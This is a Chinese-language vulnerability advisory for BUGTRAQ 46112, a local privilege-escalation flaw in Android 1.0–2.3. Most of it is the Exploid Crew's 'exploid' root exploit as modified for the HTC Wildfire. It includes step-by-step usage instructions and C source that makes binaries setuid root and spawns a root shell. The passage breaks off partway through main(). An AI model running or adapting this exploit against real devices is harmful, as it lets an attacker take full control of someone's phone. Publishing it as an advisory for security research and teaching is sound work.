发布日期：2011-02-04
更新日期：2011-02-04
受影响系统：
Open Handset Alliance Open Handset Alliance Android 1.0 - 2.3
描述：
--------------------------------------------------------------------------------
BUGTRAQ ID: 46112
Android是Google通过Open Handset Alliance发起的项目，用于为移动设备提供完整的软件集，包括操作系统、中间件等。
Open Handset Alliance Android在实现上存在本地权限提升漏洞，本地攻击者可利用此漏洞提升权限，从而完全控制设备。
<*来源：The Android Exploid Crew
*>
测试方法：
--------------------------------------------------------------------------------
警 告
以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！
The Android Exploid Crew （）提供了如下测试方法：
/* android 1.x/2.x the real youdev feat. init local root exploit.
*
*
* Modifications to original exploit for HTC Wildfire Stage 1 soft-root (c) 2010 Martin Paul Eve
* Changes:
* -- Will not remount /system rw (NAND protection renders this pointless)
* -- Doesn't copy self, merely chmods permissions of original executable
* -- No password required for rootshell (designed to be immediately removed once su binary is in place)
*
* Revised usage instructions:
* -- Copy to /sqlite_stmt_journals/exploid and /sqlite_stmt_journals/su
* -- chmod exploid to 755
* -- Execute the binary
* -- Enable or disable a hotplug item (wifi, bluetooth etc. -- this could be done automatically by an app that packaged this exploit) -- don't worry that it segfaults
* -- Execute it again to gain rootshell
* -- Copy to device (/sqlite_stmt_journals/) + chown/chmod su to 04711
* -- Delete original exploid
* -- Use modified Superuser app with misplaced su binary
*
* Explanatory notes:
* -- This is designed to be used with a modified superuser app (not yet written) which will use the su binary in /sqlite_stmt_journals/
* -- It is important that you delete the original exploid binary because, otherwise, any application can gain root
*
* Original copyright/usage information
*
* (C) 2009/2010 by The Android Exploid Crew.
*
* Copy from sdcard to /sqlite_stmt_journals/exploid, chmod 0755 and run.
* Or use /data/local/tmp if available (thx to ioerror!) It is important to
* to use /sqlite_stmt_journals directory if available.
* Then try to invoke hotplug by clicking Settings->Wireless->{Airplane,WiFi etc}
* or use USB keys etc. This will invoke hotplug which is actually
* our exploit making /system/bin/rootshell.
* This exploit requires /etc/firmware directory, e.g. it will
* run on real devices and not inside the emulator.
* I'd like to have this exploitet by using the same blockdevice trick
* as in udev, but internal structures only allow world writable char
* devices, not block devices, so I used the firmware subsystem.
*
* !!!This is PoC code for educational purposes only!!!
* If you run it, it might crash your device and make it unusable!
* So you use it at your own risk!
*
* Thx to all the TAEC supporters.
*
*/
#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <linux/netlink.h>
#include <fcntl.h>
#include <errno.h>
#include <stdlib.h>
#include <string.h>
#include <string.h>
#include <unistd.h>
#include <sys/stat.h>
#include <signal.h>
#include <sys/mount.h>
void die(const char *msg)
{
perror(msg);
exit(errno);
}
void clear_hotplug()
{
int ofd = open("/proc/sys/kernel/hotplug", O_WRONLY|O_TRUNC);
write(ofd, "", 1);
close(ofd);
}
void rootshell(char **env)
{
char pwd[128];
char *sh[] = {"/system/bin/sh", 0};
setuid(0); setgid(0);
execve(*sh, sh, env);
die("[-] execve");
}
int main(int argc, char **argv, char **env)
{
char buf[512], path[512];
int ofd;
struct sockaddr_nl snl;
struct iovec iov = {buf, sizeof(buf)};
struct msghdr msg = {&snl, sizeof(snl), &iov, 1, NULL, 0, 0};
int sock;
char *basedir = NULL, *logmessage;
/* I hope there is no LD_ bug in androids rtld :) */
if (geteuid() == 0 && getuid() != 0)
rootshell(env);
if (readlink("/proc/self/exe", path, sizeof(path)) < 0)
die("[-] readlink");
if (geteuid() == 0) {
clear_hotplug();
chown(path, 0, 0);
chmod(path, 04711);
chown("/sqlite_stmt_journals/su", 0, 0);
chmod("/sqlite_stmt_journals/su", 06755);
return 0;
}
printf("[*] Android local root exploid (C) The Android Exploid Crew\n");
printf("[*] Modified by Martin Paul Eve for Wildfire Stage 1 soft-root\n");